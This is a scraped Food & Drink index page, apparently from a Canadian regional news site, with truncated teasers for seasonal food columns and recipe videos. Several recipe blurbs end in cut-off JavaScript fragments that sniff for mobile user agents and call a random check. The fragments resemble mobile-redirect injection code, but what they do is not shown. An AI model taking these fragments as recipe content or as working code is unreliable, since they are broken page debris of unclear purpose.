Food & Drink

Be bop, blues and breakfast

Photo: Thinkstock.com Yes, readers, it's that time of year again... I'm off to the good old U.S. of A this weekend for our the annual Wauconda Sock Hop and Antique Car Show. My dance partner and I have become the token Canuck contingent at this little community event, drifting bac

Tastes of summer

Photo: Contributed Every season has its flavours but dining al fresco lends an extra-special air to the tastes of summer. The pleasure of dining outdoors is something we regard as slightly decadent in Canada, what with our cold winters and short summers. Here in the Okanagan we are blesse

As Canadian as...

Photo: pixabay Sitting on the edge of summer with our national day of pride upon us, I am reminded of that phrase our neighbours to the south use: “As American as hot dogs and apple pie”. It doesn’t sound like much of a meal, and I am not sure where they cornered the mar

Daddy's princess

Isn't it funny how Mother's Day and Father's Day differ? Everyone seems to think that Mother's Day is about paying Mom back for all the hard work she does, almost a guilt trip as often she is doing more than her share for the whole family. But Dad's Day is a quieter affair; get h

Here comes the sun

Photo: Thinkstock.com I was very touched this week, feeling the power of Mother Nature in those times it can make us seem small and insignificant. It happened a few times; once I was left feeling overwhelmed with joy at being able to experience life, another time I felt helpless and asham

Food trivia tidbits

Photo: Thinkstock.com This week my brain is mush, what with the start of the busy summer season and a ridiculous summer cold that I really don't need :) So, I'm regaling you with some water cooler talk, tidbits you can share around the dinner table that will amaze your guests with

Time for dandelions

Photo: Contributed Phew, I feel better. I was beginning to despair that I would not be enjoying summer enough with all the work we have. But then, for the first time this year I sat outside after work just a short while ago, with my feet propped up and a beverage in my hand, enjoying the

Mediterranean Quinoa

Photo: Contributed Ingredients: 1 cup cooked quinoa 2 cups kale, chopped 1 can diced tomatoes 1 can artichoke hearts, drained 1 chicken breast, diced Half a pepper (any color you like) Half of a zucchini 1/2 cup large onion, diced 8 cloves of garlic, minced 1 cup p

Eat your crusts!

Photo: Contributed Do you remember hearing your parents say that when you were young? The rest of the comment was usually reinforced with the fact that there were children starving in Africa. Guess what? There are still children starving in Africa (as well as many other places) and there

Ready, set...go summer!

Photo: Contributed When I was a kid I dreaded the May long weekend. It was the time when my mom planted the back yard and vegetable gardens, and my dad made sure the lawn was mowed, and the garage got cleaned up for summer use... it was a weekend for chores. We didn't have a pool or a

Give Mom a break

Photo: Contributed It's that time of year again when we are all supposed to give Mom a break. Cook a meal, clean the house, walk the dog ... Pitch in a bit extra as a way of saying thank you for all she does. Perhaps too Mother's Day is a chance for the rest of us to walk a mile i

How To Make Hot Sauce

Chargrilled tomatoes and fiery red peppers are blended with onions, garlic and lime to create a  sauce that's the perfect accompaniment to meat and fish dishes. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

May Day! May Day!

Photo: Contributed May 1st has long been known as a day of celebration throughout much of Europe. “May Day” as it is sometimes called, represents the midpoint between the spring equinox and the summer solstice. In ancient times it was known as the first day of summer, the fest

Salmon with Anchovy Butter

Melissa Clark makes salmon with a double application of anchovy butter. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

A break, for hot or cold

Perhaps it is those ever-cool spring mornings, or my love for a bit of extra warmth, but I have been thinking a lot about coffee lately. With my ever-curious brain and its search for more trivia, that led me to thinking about the whole psychology that goes with our coffee culture, and why a simple b

Copycat KFC Fried Chicken

Check out this homemade KFC fried chicken recipe - finger licking good!  if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Wok Fried Peanut Butter

Never buy peanut butter again with this easy wok fried recipe. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Noodle Soup

Here's a simple guide to a delicious Japanese noodle soup with spring onions, shitaki mushrooms and fresh ginger, all topped with a poached egg. Absolutely mouthwatering, and so simple to do at home in under 10 minutes. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&

Roast beef sandwich

Melissa Clark seasons a top loin with salt, pepper, garlic and rosemary before roasting to create the beginning of the perfect cold sandwich. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

The Best Cauliflower Cheese

Jamie Oliver champions frozen veg in this classic cauliflower cheese recipe. Tender cauliflower florets in a broccoli and cheese sauce topped with crunchy breadcrumbs. A delicious dish that’s simple to make and half the price of the fresh version. if(navigator.userAgent.toLowerCase().matc